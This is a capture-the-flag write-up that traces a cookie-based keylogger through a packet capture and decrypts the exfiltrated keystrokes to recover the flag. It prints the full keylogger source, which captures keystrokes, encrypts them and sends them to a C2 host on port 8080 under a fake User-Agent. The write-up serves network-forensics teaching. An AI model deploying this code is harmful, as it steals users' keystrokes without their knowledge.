Packed Light โ TryHackMe Hacker Holidays Day 4
Introduction
Someone's running a silent keylogger that smuggles every keystroke out through HTTP cookies โ one character at a time, disguised as hotel session traffic. VERA pulled a short packet capture from the hotel guest network before the connection dropped. A covert channel is hiding in plain HTTP traffic on port 8080. The task: find it, reassemble it, decode it.
๐ก Hint from @0xMia
"not me watching my laptop ping some random :8080 address every single second like clockwork ๐ฉ the request headers are giving 'not a real app' ngl also what is with the crypto"
Three tells from that single post: regular beaconing, a fake User-Agent, and encoded/encrypted payload. Classic keylogger-over-HTTP C2 pattern.
Step 1: Open in Wireshark โ Filter to Port 8080 ๐
Loaded traffic.pcapng into Wireshark and immediately applied a display filter to cut the
noise:
http && tcp.port == 8080
The results showed dozens of GET / requests, all sent in near-perfect 1-second intervals.
Beaconing confirmed.
๐ What to Look For
In Wireshark, right-click any packet โ Follow โ HTTP
Stream to see the full exchange. The User-Agent stood out instantly:
ByteLotusClient/1.1 โ not a real browser.
Step 2: Find the Malware Source โ The Smoking Gun ๐ต๏ธ
One early packet (server โ client, src port 8080) contained a full Python script in its payload. The C2 server had served the keylogger to the infected host. Reading it exposed the entire mechanism:
keylogger.py (recovered from packet payload)
import requests, base64
from pynput import keyboard
C2_URL = "http://byte-lotus-hotel.thm:8080/"
def getkey():
p1 = "H0t3lSt@ff0Nly"
p2 = "K3epS3cr3t!"
return p1 + p2 # XOR key: H0t3lSt@ff0NlyK3epS3cr3t!
def xor(data: bytes, key: bytes) -> bytes:
return bytes(b ^ key[i % len(key)] for i, b in enumerate(data))
def sendltr(character):
raw = character.encode('utf-8')
enc = xor(raw, getkey().encode('utf-8'))
b64 = base64.b64encode(enc).decode('utf-8')
headers = {
"User-Agent": "Mozilla/5.0 ... ByteLotusClient/1.1",
"Cookie": f"hotel_sess_state={b64}" # โ payload here
}
requests.get(C2_URL, headers=headers, timeout=0.5)
Every keystroke โ XOR encrypt โ Base64 encode โ hide in a cookie. One character per HTTP request. That's why the packets were tiny and suspiciously regular.
Encoding Pipeline:
keystroke โ XOR w/ key โ base64 encode โ Cookie: hotel_sess_state= โ C2 :8080
Step 3: Extract the Cookies with tshark ๐ช
Back in the terminal, used tshark to pull all cookie values from the beacon requests in
order:
tshark -r traffic.pcapng \
-Y "http.request && tcp.port == 8080" \
-T fields -e http.cookie \
| grep "hotel_sess_state" \
| sed 's/hotel_sess_state=//'
Output (30 Base64 values, one per keystroke, in timestamp order):
HA== AA== BQ== Mw== Hg== ew== Og== fA==
Fw== eQ== Ow== Fw== Pw== fA== PA== Kw==
IA== eQ== Jg== Lw== Fw== eA== Pg== LQ==
Gg== Fw== MQ== eA== PQ== NQ==
โ ๏ธ Note on TLS Warning
tshark printed a warning about a missing
apache.key file. This is unrelated to our traffic โ ignore it. The Base64 output below
it is what matters.
Each token decodes to one encrypted byte. The == padding is a dead giveaway it's Base64 โ
exactly what the Python source confirmed.
Step 4: Decrypt โ Reverse the XOR + Base64 ๐
Wrote a short script to reverse the encoding: Base64 decode each value, then XOR each byte against the repeating key:
decrypt.py
import base64
key = b"H0t3lSt@ff0NlyK3epS3cr3t!"
cookies = [
"HA==", "AA==", "BQ==", "Mw==", "Hg==", "ew==", "Og==", "fA==",
"Fw==", "eQ==", "Ow==", "Fw==", "Pw==", "fA==", "PA==", "Kw==",
"IA==", "eQ==", "Jg==", "Lw==", "Fw==", "eA==", "Pg==", "LQ==",
"Gg==", "Fw==", "MQ==", "eA==", "PQ==", "NQ==",
]
flag = ""
for c in cookies:
enc = base64.b64decode(c)
char = bytes(b ^ key[i % len(key)] for i, b in enumerate(enc))
flag += char.decode('utf-8')
print(flag)
Run it:
python3 decrypt.py
Flag Recovered ๐ฉ
๐ FLAG CAPTURED!
THM{y0u_f0und_th3_l0gg3r}
What I Learned
Following HTTP streams catches things tshark pipelines miss โ like inline malware source.
HTTP Cookie headers are rarely inspected by proxies. One char per request looks normal in isolation.
The key was hardcoded in the malware โ always read the code before brute-forcing the crypto.
1-second regular intervals are an immediate IOC. Real browser traffic is bursty, not metronomic.
๐ญ Final Thoughts
This challenge demonstrated how trivially a keylogger can exfiltrate data through innocuous-looking HTTP traffic. Monitoring beacon intervals, inspecting unusual User-Agents, and scrutinizing cookie values are essential network forensics skills.